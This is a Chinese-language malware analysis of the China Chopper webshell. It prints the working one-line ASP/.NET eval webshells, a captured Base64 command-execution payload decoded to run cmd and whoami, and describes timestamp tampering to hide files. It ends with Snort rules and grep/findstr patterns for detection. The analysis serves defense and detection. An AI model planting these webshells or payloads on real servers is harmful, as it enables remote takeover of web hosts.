對中國菜刀的技術分析報告

Web Shell客戶端:

中國菜刀的客戶端可在www.maicaidao.com下載到,

Web shell (CnC) Client ? ? ? ?MD5

caidao.exe ? ? ? ? ? ? ? ? ? ?5001ef50c7e869253a7c152a638eab8a

客戶端使用UPX加殼,有220672個字節大小,如圖1所示:

圖1,使用WinHex工具查看

使用脫殼工具脫殼,可以看到一些隱藏的細節:

C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2011

UPX 3.08w ? ? ? Markus Oberhumer, Laszlo Molnar & John Reiser ? Dec 12th 2011

File size ? ? ? ? Ratio ? ? ?Format ? ? ?Name

-------------------- ? ------ ? ----------- ? -----------

700416 <- ? ?220672 ? 31.51% ? ?win32/pe ? ? decomp.exe

Unpacked 1 file.

使用PEID(一個免費檢測軟件使用的加殼手法的工具),我們可以看到解壓縮后的客戶端程序使用Visual C + + 6.0編寫,如圖2所示:

圖2 PEID顯示程序所用語言

因為字符串沒有進行編碼,所以可以通過打印輸出該后門如何通信,我們可以看到一個url google.com.hk(圖3),以及參考文本Chopper(圖4)

圖3 打印字符串refer www.google.com.hk

圖4 菜刀的客戶端二進制文件參考文檔

打開中國菜刀界面,我們可以看到該工具是一款圖形界面工具,并且提供了添加自己的目標、管理的功能,在客戶端軟件上,右鍵單擊選擇“添加”,輸入IP地址,以及密碼和編碼方式,如圖5所示

圖5:中國菜刀客戶端界面

服務端payload組件

中國菜刀的工具是一款Webshell管理工具,相應必然有一個服務端的程序,它支持各種語言,如ASP、ASPX、PHP、JSP、CFM,一些官網下載原始程序MD5 HASH如下:

Web shell Payload MD5 Hash

Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08

Customize.cfm ad8288227240477a95fb023551773c84

Customize.jsp acba8115d027529763ea5c7ed6621499

例子如下:

PHP:ASP:<%evalrequest("pass")%>

.NET:<%@PageLanguage="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

在實際使用過程中,替換PASS為鏈接的時候需要的密碼。

功能

上面簡單介紹了中國菜刀的客戶端和服務端的,下面來介紹下該款工具的其他功能,中國菜刀包含了“安全掃描”功能,攻擊者能夠使用爬蟲或暴力破解來攻擊目標站點,如下圖:

在除了發現漏洞之外,中國菜刀最強大的莫過于管理功能了,包含以下內容:

1、文件管理(文件資源管理器)

2、數據庫管理(DB客戶端)

3、虛擬終端(命令行)

在中國菜刀的客戶端界面中,右鍵單擊一個目標可以查看相應的功能列表,如圖7:

文件管理

中國菜刀作為一個遠程訪問工具(RAT),包含了常見的上傳、下載、編輯、刪除、復制、重命名以及改變文件的時間戳。如圖8:

修改文件功能現在常見的webshell就帶了該功能,圖9顯示了測試目錄的三個文件,因為Windows資源管理器只顯示“修改日期”字段,所以通常情況下,能夠達到隱藏操作的目的:

使用工具將文件修改和其他兩個文件相同,如圖10,可以看到文件的修改的日期和其他兩個文件一致,如果不是專業的人士,一般不會看出這幾個文件的區別:

當文件的創建日期和修改日期被修改之后,查出異常文件非常麻煩,需要分析主文件表MFT以及FTK,fireeye建議使用工具mftdump來進行分析,該工具能夠提取文件元數據進行分析。

下表顯示了從MFT中提取的Webshell時間戳,注意"fn*"字段包含了文件的原始時間。

Category ? ? ? ? ? Pre-touch match Post-touch match

siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48

siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56

siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48

siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56

fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01

fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03

fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42

fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04

數據庫管理

中國菜刀支持各種數據庫,如MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS等,數據庫操作界面,內置了一些常用的數據庫語句,能夠自動顯示表名、列名,查詢語句,并且內置了常用的數據庫語句。如下圖11:

鏈接之后,菜刀提供了一些常見的數據庫語句,如圖12:

命令行功能

最后,菜刀提供了一個命令行界面,能夠通過命令行shell進行操作系統級別的互動,當然繼承的權限是WEB應用的權限。如圖13:

Payload屬性

除了以上的功能之外,中國菜刀的能夠在黑客圈廣泛使用,還有以下幾個因素:

1、大小

2、服務端內容

3、客戶端內容

4、是否免殺

大小

中國菜刀的服務端腳本非常小,是典型的一句話木馬,其中aspx服務端軟件只有73字節,見圖14,相比其他傳統的webshell可見它的優越性。

服務端內容

中國菜刀的服務端代碼除了簡潔之外,并且支持多種加密、編碼,下圖是aspx的服務端代碼,

客戶端內容

在瀏覽器不會產生任何客戶端代碼,如圖16:

殺毒軟件檢測:

大多數殺毒軟件不能檢測出該工具。如下圖:


平臺:

web服務器平臺——JSP, ASP, ASPX, PHP, 或 CFM。同時在Windows和Linux適用。在系列一的分析里面已經展示過“中國菜刀”在windows 2003 IIS 中運行ASPX的情況。在這一部分里,講展示運行在Linux平臺下的PHP情況。如下圖所示,PHP版本的內容極其精簡。

依賴與不同的平臺,“中國菜刀”有不同的可選項。下圖顯示了在Linux平臺下的文件管理特性,(類似于Windows)

下圖顯示了在MySQL下其數據庫客戶端例子,(對Linux目標服務器的數據庫管理)

如下圖所示,虛擬終端命令行也長得很像。但是使用Linux命令而不是Windows命令

上傳機制:

由于它的大小,格式,以及簡單的payload,“中國菜刀”的傳輸機制可以很靈活多樣。以下任意一種方法都可以進行傳輸

通過WebDAV文件上傳

通過JBoss jmx-console 或者Apache的Tomcat管理頁面上傳

遠程代碼執行下載

通過其他方式接入后傳輸

通訊分析:

我們已經看過它在服務器端的payload以及控制web shell的客戶端。接下來,我們檢查一下“中國菜刀”的通訊網絡流量。我們通過抓包軟件,分析其服務端和客戶端的通訊情況,如下圖所示,客戶端在80端口上,以HTTP POST方式通訊。

利用抓包軟件Wireshark的“follow the TCP”功能可以看到整個TCP數據交互過程。如下圖所示,上面紅色部分為攻擊者(客戶端)POST提交控制命令的內容,下面藍色部分為被控端返回結果

從圖中可見攻擊控制代碼經過Base64編碼,我們利用Web調試器Fiddler的TextWizard功能可以輕易解碼,看看攻擊者到底發送了什么。(注意%3D是URL編碼,實際上是“=”)Fiddler需要這個轉換一下。

其攻擊payload的編碼情況如下如下所示

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

使用Fiddler的text wizard功能將其base64解碼為明文, 如下圖所示

解碼后的數據如下所示:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

上面這段代碼的意思是使用base64解碼存儲在z1、z2這兩個參數中的數據。接下來我們來查看z1與z2對應的值。

注意下面加粗部分參數z1與z2:

&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

base64解碼參數對應的值,如下所示:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。該操作的意思就是執行cmd命令,列出當前用戶與當前目錄,執行結果如下所示:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

檢測:

now,我們知道中國菜刀的流量通信的特征,可以利用網絡或主機級別的防護軟件檢測這種惡意通信。

網絡:

可以利用Snort編寫規則檢測中國菜刀的流量,能夠輕松的捕獲到異常數據,Keith Tyler在他的博客中給出了一個基本的IDS規則:

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

為了減少誤報,我們將該段規則修改了下,只檢測數據包內容中包含FromBase64String以及z1,如下:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

以下規則更進一步優化,以下規則在數據包中查找FromBase64String,并且利用正則表達式匹配z后面任意一到三的數字組合,如Z1、Z10、Z100等。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000102;)

這些IDS特征都可以進一步優化,OK,我們了解了網絡層面如何檢測中國菜刀數據包,接下來介紹下如何通過主機級別的檢測發現該數據包。

主機:

在Linux上最快最簡單的方法查找中國菜刀,可以利用egrep+正則表達式識別被感染的文件,如下:

egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

egrep+正則表達式是一個強大的組合,國外安全研究者Ian Ahl編寫了一些正則表達式教程,如下:

regex basics

Using regex with Notepad

另外,Window提供了一種方法,通過findstr命令加上正則表達式搜索文件。如下圖:

可以看到在Windows上正則表達式與linux略有區別,如下:

findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正則表達式即可,如下:

egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx

findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx

如果你要查找一些隱藏的PHP或ASPX文件,可以使用dir命令來,如下圖:

dir /S /A /B *.php

Findstr還可以搜索子目錄:

findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,156評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,401評論 3 415
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 176,069評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,873評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,635評論 6 408
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,128評論 1 323
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,203評論 3 441
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,365評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,881評論 1 334
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,733評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,935評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,475評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,172評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,582評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,821評論 1 282
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,595評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,908評論 2 372

推薦閱讀更多精彩內容

  • Spring Cloud為開發人員提供了快速構建分布式系統中一些常見模式的工具(例如配置管理,服務發現,斷路器,智...
    卡卡羅2017閱讀 134,781評論 18 139
  • DVWA 0x00 概述 在測試一些web工具時,需要某個web應用作為我們的靶機,這時候就首選以前學校里用過的系...
    cr4zyd0g閱讀 19,342評論 4 51
  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,618評論 25 708
  • 《全球豬業》2015年6月刊 2015-08-25 19:11:55 來源:伊利諾斯州立大學、愛荷華州立大學 根據...
    aa127fcd0e2f閱讀 262評論 0 1
  • 閃回的畫面。時光好像長長的一卷膠帶,延伸纏繞,光怪陸離。 黑色的長長的走道,也許是隧道,也許是昏黃光線的長廊,也許...
    LynneGong閱讀 157評論 0 0